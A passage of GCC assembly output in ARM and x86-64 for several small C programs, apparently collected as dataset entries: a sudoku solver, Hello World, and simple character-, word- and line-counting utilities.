mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
ldr r2, [fp, #-28]
add r3, r3, r2
lsl r3, r3, #1
add r3, r1, r3
ldrh r3, [r3]
str r3, [fp, #-16]
ldr r3, [fp, #-16]
ldr r2, [fp, #-52]
add r3, r2, r3
ldrsb r2, [r3]
and r2, r2, #255
sub r2, r2, #1
and r2, r2, #255
lsl r2, r2, #24
asr r2, r2, #24
strb r2, [r3]
ldrsb r3, [r3]
cmp r3, #0
bne .L38
ldr r3, [fp, #-16]
add r3, r3, #728
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-48]
add r3, r2, r3
str r3, [fp, #-12]
ldr r3, [fp, #-12]
ldrh r3, [r3]
mov r2, r3
ldr r3, [fp, #-56]
add r3, r3, r2
ldrb r2, [r3] @ zero_extendqisi2
add r2, r2, #1
and r2, r2, #255
strb r2, [r3]
ldr r3, [fp, #-12]
add r3, r3, #2
ldrh r3, [r3]
mov r2, r3
ldr r3, [fp, #-56]
add r3, r3, r2
ldrb r2, [r3] @ zero_extendqisi2
add r2, r2, #1
and r2, r2, #255
strb r2, [r3]
ldr r3, [fp, #-12]
add r3, r3, #4
ldrh r3, [r3]
mov r2, r3
ldr r3, [fp, #-56]
add r3, r3, r2
ldrb r2, [r3] @ zero_extendqisi2
add r2, r2, #1
and r2, r2, #255
strb r2, [r3]
ldr r3, [fp, #-12]
add r3, r3, #6
ldrh r3, [r3]
mov r2, r3
ldr r3, [fp, #-56]
add r3, r3, r2
ldrb r2, [r3] @ zero_extendqisi2
add r2, r2, #1
and r2, r2, #255
strb r2, [r3]
b .L33
.L38:
nop
.L33:
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L31:
ldr r3, [fp, #-28]
cmp r3, #8
ble .L34
.L30:
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L21:
ldr r3, [fp, #-40]
cmp r3, #3
ble .L35
ldr r3, [fp, #-36]
lsl r2, r3, #16
ldr r3, [fp, #-32]
orr r3, r2, r3
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size sd_update, .-sd_update
.section .rodata
.align 2
.LC1:
.word __stack_chk_guard
.text
.align 2
.global sd_solve
.syntax unified
.arm
.fpu softvfp
.type sd_solve, %function
sd_solve:
@ args = 0, pretend = 0, frame = 1448
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #1456
str r0, [fp, #-1448]
str r1, [fp, #-1452]
ldr r3, .L76
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-1412]
mov r3, #0
str r3, [fp, #-1404]
mov r3, #0
str r3, [fp, #-1432]
b .L40
.L41:
sub r2, fp, #740
ldr r3, [fp, #-1432]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-1432]
add r3, r3, #1
str r3, [fp, #-1432]
.L40:
ldr r3, [fp, #-1432]
cmp r3, #728
ble .L41
mov r3, #0
str r3, [fp, #-1428]
b .L42
.L43:
sub r3, fp, #1056
sub r3, r3, #4
sub r3, r3, #4
ldr r2, [fp, #-1428]
add r3, r3, r2
mov r2, #9
strb r2, [r3]
ldr r3, [fp, #-1428]
add r3, r3, #1
str r3, [fp, #-1428]
.L42:
ldr r3, [fp, #-1428]
cmp r3, #324
blt .L43
mov r3, #0
str r3, [fp, #-1440]
b .L44
.L49:
ldr r3, [fp, #-1440]
ldr r2, [fp, #-1452]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #48
bls .L45
ldr r3, [fp, #-1440]
ldr r2, [fp, #-1452]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #57
bhi .L45
ldr r3, [fp, #-1440]
ldr r2, [fp, #-1452]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r3, #49
b .L46
.L45:
mvn r3, #0
.L46:
str r3, [fp, #-1400]
ldr r3, [fp, #-1400]
cmp r3, #0
blt .L47
ldr r2, [fp, #-1440]
mov r3, r2
lsl r3, r3, #3
add r2, r3, r2
ldr r3, [fp, #-1400]
add r3, r2, r3
sub r2, fp, #1056
sub r2, r2, #4
sub r2, r2, #4
sub r1, fp, #740
mov r0, #1
str r0, [sp]
ldr r0, [fp, #-1448]
bl sd_update
.L47:
ldr r3, [fp, #-1400]
cmp r3, #0
blt .L48
ldr r3, [fp, #-1404]
add r3, r3, #1
str r3, [fp, #-1404]
.L48:
sub r3, fp, #4
sub r2, r3, #1392
ldr r3, [fp, #-1440]
lsl r3, r3, #1
add r3, r2, r3
mvn r2, #0
strh r2, [r3] @ movhi
sub r3, fp, #1216
sub r3, r3, #4
sub r3, r3, #12
ldr r2, [fp, #-1440]
add r3, r3, r2
mvn r2, #0
strb r2, [r3]
ldr r3, [fp, #-1440]
ldr r2, [fp, #-1452]
add r3, r2, r3
ldrb r1, [r3] @ zero_extendqisi2
sub r3, fp, #1136
sub r3, r3, #4
sub r3, r3, #8
ldr r2, [fp, #-1440]
add r3, r3, r2
mov r2, r1
strb r2, [r3]
ldr r3, [fp, #-1440]
add r3, r3, #1
str r3, [fp, #-1440]
.L44:
ldr r3, [fp, #-1440]
cmp r3, #80
ble .L49
mov r3, #0
str r3, [fp, #-1440]
mov r3, #1
str r3, [fp, #-1420]
mov r3, #655360
str r3, [fp, #-1416]
mov r3, #0
strb r3, [fp, #-1067]
b .L50
.L64:
ldr r3, [fp, #-1420]
cmp r3, #1
bne .L51
ldr r3, [fp, #-1416]
asr r3, r3, #16
str r3, [fp, #-1408]
ldr r3, [fp, #-1416]
lsl r3, r3, #16
asr r2, r3, #16
sub r3, fp, #4
sub r1, r3, #1392
ldr r3, [fp, #-1440]
lsl r3, r3, #1
add r3, r1, r3
strh r2, [r3] @ movhi
ldr r3, [fp, #-1408]
cmp r3, #1
ble .L52
mov r3, #0
str r3, [fp, #-1428]
b .L53
.L55:
sub r3, fp, #1056
sub r3, r3, #4
sub r3, r3, #4
ldr r2, [fp, #-1428]
add r3, r3, r2
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-1408]
cmp r3, r2
ble .L54
sub r3, fp, #1056
sub r3, r3, #4
sub r3, r3, #4
ldr r2, [fp, #-1428]
add r3, r3, r2
ldrb r3, [r3] @ zero_extendqisi2
str r3, [fp, #-1408]
ldr r3, [fp, #-1428]
lsl r3, r3, #16
asr r2, r3, #16
sub r3, fp, #4
sub r1, r3, #1392
ldr r3, [fp, #-1440]
lsl r3, r3, #1
add r3, r1, r3
strh r2, [r3] @ movhi
ldr r3, [fp, #-1408]
cmp r3, #1
ble .L73
.L54:
ldr r3, [fp, #-1428]
add r3, r3, #1
str r3, [fp, #-1428]
.L53:
ldr r3, [fp, #-1428]
cmp r3, #324
blt .L55
b .L52
.L73:
nop
.L52:
ldr r3, [fp, #-1408]
cmp r3, #0
beq .L56
ldr r3, [fp, #-1408]
cmp r3, #10
bne .L51
.L56:
mvn r3, #0
str r3, [fp, #-1420]
ldr r3, [fp, #-1440]
sub r2, r3, #1
str r2, [fp, #-1440]
sub r2, fp, #4
add r3, r2, r3
mvn r2, #0
strb r2, [r3, #-1228]
.L51:
sub r3, fp, #4
sub r2, r3, #1392
ldr r3, [fp, #-1440]
lsl r3, r3, #1
add r3, r2, r3
ldrsh r3, [r3]
str r3, [fp, #-1428]
ldr r3, [fp, #-1420]
cmn r3, #1
bne .L57
sub r3, fp, #1216
sub r3, r3, #4
sub r3, r3, #12
ldr r2, [fp, #-1440]
add r3, r3, r2
ldrsb r3, [r3]
cmp r3, #0
blt .L57
sub r3, fp, #1216
sub r3, r3, #4
sub r3, r3, #12
ldr r2, [fp, #-1440]
add r3, r3, r2
ldrsb r3, [r3]
mov r0, r3
ldr r1, [fp, #-1448]
ldr r2, [fp, #-1428]
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
add r3, r3, r0
lsl r3, r3, #1
add r3, r1, r3
ldrh r3, [r3]
mov r0, r3
sub r2, fp, #1056
sub r2, r2, #4
sub r2, r2, #4
sub r1, fp, #740
mvn r3, #0
str r3, [sp]
mov r3, r0
ldr r0, [fp, #-1448]
bl sd_update
.L57:
sub r3, fp, #1216
sub r3, r3, #4
sub r3, r3, #12
ldr r2, [fp, #-1440]
add r3, r3, r2
ldrsb r3, [r3]
add r3, r3, #1
str r3, [fp, #-1424]
b .L58
.L61:
ldr r1, [fp, #-1448]
ldr r2, [fp, #-1428]
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
ldr r2, [fp, #-1424]
add r3, r3, r2
lsl r3, r3, #1
add r3, r1, r3
ldrh r3, [r3]
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #736
ldrsb r3, [r3]
cmp r3, #0
beq .L74
ldr r3, [fp, #-1424]
add r3, r3, #1
str r3, [fp, #-1424]
.L58:
ldr r3, [fp, #-1424]
cmp r3, #8
ble .L61
b .L60
.L74:
nop
.L60:
ldr r3, [fp, #-1424]
cmp r3, #8
bgt .L62
ldr r1, [fp, #-1448]
ldr r2, [fp, #-1428]
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
ldr r2, [fp, #-1424]
add r3, r3, r2
lsl r3, r3, #1
add r3, r1, r3
ldrh r3, [r3]
mov r0, r3
sub r2, fp, #1056
sub r2, r2, #4
sub r2, r2, #4
sub r1, fp, #740
mov r3, #1
str r3, [sp]
mov r3, r0
ldr r0, [fp, #-1448]
bl sd_update
str r0, [fp, #-1416]
ldr r3, [fp, #-1440]
add r2, r3, #1
str r2, [fp, #-1440]
ldr r2, [fp, #-1424]
lsl r2, r2, #24
asr r2, r2, #24
sub r1, fp, #4
add r3, r1, r3
strb r2, [r3, #-1228]
mov r3, #1
str r3, [fp, #-1420]
b .L50
.L62:
mvn r3, #0
str r3, [fp, #-1420]
ldr r3, [fp, #-1440]
sub r2, r3, #1
str r2, [fp, #-1440]
sub r2, fp, #4
add r3, r2, r3
mvn r2, #0
strb r2, [r3, #-1228]
.L50:
ldr r3, [fp, #-1440]
cmp r3, #0
blt .L63
ldr r3, [fp, #-1404]
rsb r3, r3, #81
ldr r2, [fp, #-1440]
cmp r2, r3
blt .L64
.L63:
ldr r3, [fp, #-1440]
cmp r3, #0
blt .L75
mov r3, #0
str r3, [fp, #-1436]
b .L67
.L68:
sub r3, fp, #4
sub r2, r3, #1392
ldr r3, [fp, #-1436]
lsl r3, r3, #1
add r3, r2, r3
ldrsh r3, [r3]
mov r1, r3
sub r3, fp, #1216
sub r3, r3, #4
sub r3, r3, #12
ldr r2, [fp, #-1436]
add r3, r3, r2
ldrsb r3, [r3]
mov r0, r3
ldr r2, [fp, #-1448]
mov r3, r1
lsl r3, r3, #3
add r3, r3, r1
add r3, r3, r0
lsl r3, r3, #1
add r3, r2, r3
ldrh r3, [r3]
str r3, [fp, #-1432]
ldr r1, [fp, #-1432]
ldr r3, .L76+4
smull r2, r3, r1, r3
asr r2, r3, #1
asr r3, r1, #31
sub r2, r2, r3
mov r3, r2
lsl r3, r3, #3
add r3, r3, r2
sub r2, r1, r3
and r2, r2, #255
ldr r3, [fp, #-1432]
ldr r1, .L76+4
smull r0, r1, r3, r1
asr r1, r1, #1
asr r3, r3, #31
sub r3, r1, r3
add r2, r2, #49
and r2, r2, #255
sub r1, fp, #4
add r3, r1, r3
strb r2, [r3, #-1144]
ldr r3, [fp, #-1436]
add r3, r3, #1
str r3, [fp, #-1436]
.L67:
ldr r2, [fp, #-1436]
ldr r3, [fp, #-1440]
cmp r2, r3
blt .L68
ldr r3, [fp, #-1412]
add r3, r3, #1
str r3, [fp, #-1412]
ldr r3, [fp, #-1440]
sub r3, r3, #1
str r3, [fp, #-1440]
mvn r3, #0
str r3, [fp, #-1420]
b .L50
.L75:
nop
ldr r3, [fp, #-1412]
ldr r2, .L76
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L71
bl __stack_chk_fail
.L71:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L77:
.align 2
.L76:
.word .LC1
.word 954437177
.size sd_solve, .-sd_solve
.section .rodata
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 1032
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #1024
sub sp, sp, #8
ldr r3, .L84
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
bl sd_genmat
str r0, [fp, #-1036]
b .L79
.L81:
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
mov r0, r3
bl strlen
mov r3, r0
cmp r3, #80
bhi .L80
b .L79
.L80:
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
mov r1, r3
ldr r0, [fp, #-1036]
bl sd_solve
.L79:
ldr r3, .L84+4
ldr r2, [r3]
sub r3, fp, #1024
sub r3, r3, #4
sub r3, r3, #4
mov r1, #1024
mov r0, r3
bl fgets
mov r3, r0
cmp r3, #0
bne .L81
ldr r0, [fp, #-1036]
bl free
mov r3, #0
ldr r2, .L84
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L83
bl __stack_chk_fail
.L83:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L85:
.align 2
.L84:
.word .LC2
.word stdin
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "195102.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "Hello World!"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "195102.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Hello World!\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L3
bl printf
mov r3, #0
mov r0, r3
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "175444.c"
.intel_syntax noprefix
.text
.globl echo_input
.type echo_input, @function
echo_input:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
jmp .L2
.L3:
mov eax, DWORD PTR -4[rbp]
mov edi, eax
call putchar@PLT
.L2:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L3
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size echo_input, .-echo_input
.section .rodata
.LC0:
.string "Enter a string: "
.LC3:
.string "Number of chars = %.0f\n"
.text
.globl count_chars
.type count_chars, @function
count_chars:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
pxor xmm0, xmm0
movsd QWORD PTR -8[rbp], xmm0
jmp .L5
.L6:
movsd xmm1, QWORD PTR -8[rbp]
movsd xmm0, QWORD PTR .LC2[rip]
addsd xmm0, xmm1
movsd QWORD PTR -8[rbp], xmm0
.L5:
call getchar@PLT
cmp eax, 10
jne .L6
mov rax, QWORD PTR -8[rbp]
movq xmm0, rax
lea rdi, .LC3[rip]
mov eax, 1
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size count_chars, .-count_chars
.section .rodata
.LC4:
.string "Number of lines = %d\n"
.text
.globl count_lines
.type count_lines, @function
count_lines:
.LFB2:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
jmp .L8
.L9:
cmp DWORD PTR -4[rbp], 10
jne .L8
add DWORD PTR -8[rbp], 1
.L8:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L9
mov eax, DWORD PTR -8[rbp]
mov esi, eax
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE2:
.size count_lines, .-count_lines
.section .rodata
.LC5:
.string "Number of words = %d\n"
.text
.globl count_words
.type count_words, @function
count_words:
.LFB3:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -8[rbp], 0
mov eax, DWORD PTR -8[rbp]
mov DWORD PTR -12[rbp], eax
jmp .L11
.L17:
cmp DWORD PTR -4[rbp], 32
je .L12
cmp DWORD PTR -4[rbp], 9
jne .L13
.L12:
add DWORD PTR -8[rbp], 1
jmp .L11
.L13:
cmp DWORD PTR -4[rbp], 10
jne .L14
cmp DWORD PTR -12[rbp], 0
jle .L18
add DWORD PTR -8[rbp], 1
jmp .L18
.L14:
add DWORD PTR -12[rbp], 1
.L11:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 0
jne .L17
jmp .L16
.L18:
nop
.L16:
mov eax, DWORD PTR -8[rbp]
mov esi, eax
lea rdi, .LC5[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE3:
.size count_words, .-count_words
.globl truncate_whitespace
.type truncate_whitespace, @function
truncate_whitespace:
.LFB4:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -8[rbp], 0
jmp .L20
.L24:
cmp DWORD PTR -4[rbp], 32
je .L21
cmp DWORD PTR -4[rbp], 9
jne .L22
.L21:
add DWORD PTR -8[rbp], 1
jmp .L23
.L22:
mov DWORD PTR -8[rbp], 0
.L23:
cmp DWORD PTR -8[rbp], 1
jg .L20
mov eax, DWORD PTR -4[rbp]
mov edi, eax
call putchar@PLT
.L20:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L24
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE4:
.size truncate_whitespace, .-truncate_whitespace
.section .rodata
.align 8
.LC6:
.string "\nNumber of blanks: %d\nNumber of tabs: %d\nNumber of lines: %d\n"
.text
.globl count_btl
.type count_btl, @function
count_btl:
.LFB5:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -12[rbp], 0
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR -16[rbp], eax
mov DWORD PTR -8[rbp], 1
jmp .L26
.L29:
cmp DWORD PTR -4[rbp], 32
jne .L27
add DWORD PTR -16[rbp], 1
jmp .L26
.L27:
cmp DWORD PTR -4[rbp], 9
jne .L28
add DWORD PTR -12[rbp], 1
jmp .L26
.L28:
cmp DWORD PTR -4[rbp], 10
jne .L26
add DWORD PTR -8[rbp], 1
.L26:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L29
mov ecx, DWORD PTR -8[rbp]
mov edx, DWORD PTR -12[rbp]
mov eax, DWORD PTR -16[rbp]
mov esi, eax
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE5:
.size count_btl, .-count_btl
.globl replace_specials
.type replace_specials, @function
replace_specials:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
jmp .L31
.L35:
cmp DWORD PTR -4[rbp], 92
jne .L32
mov edi, 92
call putchar@PLT
mov edi, 92
call putchar@PLT
jmp .L31
.L32:
cmp DWORD PTR -4[rbp], 9
jne .L33
mov edi, 92
call putchar@PLT
mov edi, 116
call putchar@PLT
jmp .L31
.L33:
cmp DWORD PTR -4[rbp], 8
jne .L34
mov edi, 92
call putchar@PLT
mov edi, 98
call putchar@PLT
jmp .L31
.L34:
mov eax, DWORD PTR -4[rbp]
mov edi, eax
call putchar@PLT
.L31:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], 10
jne .L35
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size replace_specials, .-replace_specials
.section .rodata
.align 8
.LC7:
.string "\nNumber of lines: %d\nNumber of words: %d\nNumber of chars: %d\n"
.text
.globl wc
.type wc, @function
wc:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov DWORD PTR -8[rbp], 0
mov DWORD PTR -12[rbp], 0
mov eax, DWORD PTR -12[rbp]
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -16[rbp]
mov DWORD PTR -20[rbp], eax
jmp .L37
.L41:
add DWORD PTR -12[rbp], 1
cmp DWORD PTR -4[rbp], 10
jne .L38
add DWORD PTR -20[rbp], 1
.L38:
cmp DWORD PTR -4[rbp], 32
je .L39
cmp DWORD PTR -4[rbp], 9
je .L39
cmp DWORD PTR -4[rbp], 10
jne .L40
.L39:
mov DWORD PTR -8[rbp], 0
jmp .L37
.L40:
cmp DWORD PTR -8[rbp], 0
jne .L37
mov DWORD PTR -8[rbp], 1
add DWORD PTR -16[rbp], 1
.L37:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L41
mov ecx, DWORD PTR -12[rbp]
mov edx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -20[rbp]
mov esi, eax
lea rdi, .LC7[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size wc, .-wc
.globl one_word_line
.type one_word_line, @function
one_word_line:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
jmp .L43
.L47:
cmp DWORD PTR -4[rbp], 32
je .L44
cmp DWORD PTR -4[rbp], 9
jne .L45
.L44:
cmp DWORD PTR -8[rbp], 10
je .L43
mov edi, 10
call putchar@PLT
mov DWORD PTR -8[rbp], 10
jmp .L43
.L45:
mov eax, DWORD PTR -4[rbp]
mov edi, eax
call putchar@PLT
mov eax, DWORD PTR -4[rbp]
mov DWORD PTR -8[rbp], eax
.L43:
call getchar@PLT
mov DWORD PTR -4[rbp], eax
cmp DWORD PTR -4[rbp], -1
jne .L47
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size one_word_line, .-one_word_line
.globl main
.type main, @function
main:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, 0
call one_word_line
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size main, .-main
.section .rodata
.align 8
.LC2:
.long 0
.long 1072693248
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "175444.c"
.text
.align 2
.global echo_input
.syntax unified
.arm
.fpu softvfp
.type echo_input, %function
echo_input:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
b .L2
.L3:
ldr r0, [fp, #-8]
bl putchar
.L2:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L3
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.size echo_input, .-echo_input
.section .rodata
.align 2
.LC0:
.ascii "Enter a string: \000"
.global __aeabi_dadd
.align 2
.LC1:
.ascii "Number of chars = %.0f\012\000"
.text
.align 2
.global count_chars
.syntax unified
.arm
.fpu softvfp
.type count_chars, %function
count_chars:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
ldr r0, .L7
bl printf
mov r2, #0
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
b .L5
.L6:
mov r2, #0
ldr r3, .L7+4
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dadd
mov r2, r0
mov r3, r1
str r2, [fp, #-12]
str r3, [fp, #-8]
.L5:
bl getchar
mov r3, r0
cmp r3, #10
bne .L6
sub r3, fp, #12
ldmia r3, {r2-r3}
ldr r0, .L7+8
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC0
.word 1072693248
.word .LC1
.size count_chars, .-count_chars
.section .rodata
.align 2
.LC2:
.ascii "Number of lines = %d\012\000"
.text
.align 2
.global count_lines
.syntax unified
.arm
.fpu softvfp
.type count_lines, %function
count_lines:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
b .L10
.L11:
ldr r3, [fp, #-8]
cmp r3, #10
bne .L10
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L10:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L11
ldr r1, [fp, #-12]
ldr r0, .L12
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L13:
.align 2
.L12:
.word .LC2
.size count_lines, .-count_lines
.section .rodata
.align 2
.LC3:
.ascii "Number of words = %d\012\000"
.text
.align 2
.global count_words
.syntax unified
.arm
.fpu softvfp
.type count_words, %function
count_words:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #0
str r3, [fp, #-12]
ldr r3, [fp, #-12]
str r3, [fp, #-16]
b .L15
.L21:
ldr r3, [fp, #-8]
cmp r3, #32
beq .L16
ldr r3, [fp, #-8]
cmp r3, #9
bne .L17
.L16:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
b .L15
.L17:
ldr r3, [fp, #-8]
cmp r3, #10
bne .L18
ldr r3, [fp, #-16]
cmp r3, #0
ble .L22
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
b .L22
.L18:
ldr r3, [fp, #-16]
add r3, r3, #1
str r3, [fp, #-16]
.L15:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmp r3, #0
bne .L21
b .L20
.L22:
nop
.L20:
ldr r1, [fp, #-12]
ldr r0, .L23
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L24:
.align 2
.L23:
.word .LC3
.size count_words, .-count_words
.align 2
.global truncate_whitespace
.syntax unified
.arm
.fpu softvfp
.type truncate_whitespace, %function
truncate_whitespace:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #8
mov r3, #0
str r3, [fp, #-12]
b .L26
.L30:
ldr r3, [fp, #-8]
cmp r3, #32
beq .L27
ldr r3, [fp, #-8]
cmp r3, #9
bne .L28
.L27:
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
b .L29
.L28:
mov r3, #0
str r3, [fp, #-12]
.L29:
ldr r3, [fp, #-12]
cmp r3, #1
bgt .L26
ldr r0, [fp, #-8]
bl putchar
.L26:
bl getchar
str r0, [fp, #-8]
ldr r3, [fp, #-8]
cmn r3, #1
bne .L30
nop
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
